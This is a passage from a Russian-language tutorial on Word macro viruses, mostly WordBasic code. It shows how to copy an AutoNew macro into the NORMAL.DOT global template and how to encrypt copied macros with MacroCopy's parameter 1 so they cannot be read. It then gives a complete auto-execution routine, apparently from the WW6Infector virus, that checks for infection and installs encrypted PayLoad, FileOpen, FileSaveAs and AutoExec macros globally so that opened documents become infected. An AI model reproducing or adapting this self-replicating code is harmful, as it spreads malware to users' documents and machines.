Это делается так:
Определяется переменная, в которую записывается полное имя макроса:
name$=WindowName$()+”:AutoNew”
’этот макрос будет выполняться каждый раз
’при создании нового документа
Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой:
MacroCopy name$, ”Global:AutoNew”
Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.
MacroCopy ”MyTemplate:MyMacro”, ”Global:AutoClose”, 1
Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.
Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.
Код для процедуры автовыполнения может выглядеть примерно так:
Sub MAIN
On Error Goto Abort
iMacroCount=CountMacros(0, 0) ’Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)=”PayLoad” Then
bInstalled =–1 ’с помощью макроса PayLoad
End If
If MacroName$(i, 0, 0)=”FileSaveAs” Then
bTooMuchTrouble =–1 ’но если есть макрос
FileSaveAs,
’то заразить тяжело
End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
’Добавим макросы FileSaveAs и копии AutoExec и FileSave
’Payload используется только для проверки на зараженность
’,1 – кодирует макросы, делая их нечитаемыми в Word
iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))
sMe$=FileName$()
Macro$=sMe$+”:PayLoad”
MacroCopy Macro$, ”Global:PayLoad”, 1
Macro$=sMe$+”:FileOpen” ’Будет происходить заражение
MacroCopy Macro$, ”Global:FileOpen”, 1
Macro$=sMe$+”:FileSaveAs”
MacroCopy Macro$, ”Global:FileSaveAs”, 1
Macro$=sMe$+”:AutoExec”
MacroCopy Macro$, ”Global:AutoExec”, 1
SetProfileString ”WW6I”, Str$(iWW6IInstance+1)
End If
Abort:
End Sub